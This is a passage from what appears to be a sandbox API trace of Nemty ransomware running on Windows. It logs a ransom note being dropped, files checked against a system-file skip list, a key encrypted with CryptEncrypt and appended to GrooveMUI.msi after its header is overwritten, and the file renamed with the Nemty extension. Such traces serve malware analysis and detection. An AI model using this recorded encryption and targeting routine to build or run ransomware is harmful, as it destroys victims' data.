lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.477] CloseHandle (hObject=0x3c4) returned 1 [0048.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.479] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.479] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.480] CloseHandle (hObject=0x3c4) returned 1 [0048.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.480] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0975d10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0975d10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.480] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.480] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0975d10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0975d10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.480] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.480] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.480] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="..") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="...") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="windows") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="rsa") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="NTDETECT.COM") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ntldr") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="MSDOS.SYS") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="IO.SYS") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="boot.ini") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="boot.ini") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ntuser.dat") returned -1 [0048.480] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="desktop.ini") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="CONFIG.SYS") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="RECYCLER") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="bootmgr") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="programdata") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="appdata") returned 1 [0048.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveLR.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveLR.cab", lpUsedDefaultChar=0x0) returned 12 [0048.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0048.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.481] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="..") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="...") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="windows") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="rsa") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="NTDETECT.COM") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="ntldr") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="MSDOS.SYS") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="IO.SYS") returned -1 [0048.481] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="boot.ini") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="boot.ini") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="ntuser.dat") returned -1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="desktop.ini") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="CONFIG.SYS") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="RECYCLER") returned -1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="bootmgr") returned 1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="programdata") returned -1 [0048.482] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="appdata") returned 1 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.msi", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0048.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.482] Sleep (dwMilliseconds=0x5) [0048.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd099be70, dwHighDateTime=0x1d561e7)) [0048.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd099be70, dwHighDateTime=0x1d561e7)) [0048.483] GetLastError () returned 0xb7 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.483] GetLastError () returned 0xb7 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.483] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.483] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="i4TWSob8mmz0gESSd7h23NnMKaX3qW1sSIp4Zn0AIrI3hmTU5nEWvWYgLASIP4hP\r\n7qdDfP1aGuE3expAcXKGuO2T+5fk6n/AfApLwkq0P0szAgWyGeUJST0C+TP2D5Cq\r\ntC0Ih6MhaluYLkTUgYS8KkUZKqAs30ZlMdjpSEgiUKJT32yAIJI0RFyLDzfd9L1N\r\nFk/ptuWeAmWcWly/2G9sUVbbpP9MPemt59CetlePEXeeDWh205TxGgmYfBH1AiPU\r\n/eIKeMRACbigO3UwvovMeTnbUzOlT59q/TNxhw4suTr5+GE+cS7G34DGb9ibNw+v\r\n+NelXdsxNpzNDvxdKiIEmw==\r\n", pcchString=0x653ef9c) returned 1 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.483] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.484] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2507776) returned 1 [0048.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.484] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.484] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.494] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.494] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.494] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2507776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x264400 [0048.494] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.497] CloseHandle (hObject=0x3c8) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.548] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi._nemty_kgobjgd_")) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.549] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="..") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="...") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="windows") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="rsa") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="NTDETECT.COM") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="ntldr") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="MSDOS.SYS") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="IO.SYS") returned -1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="boot.ini") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="boot.ini") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.549] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="ntuser.dat") returned -1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="desktop.ini") returned 1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="CONFIG.SYS") returned 1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="RECYCLER") returned -1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="bootmgr") returned 1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", 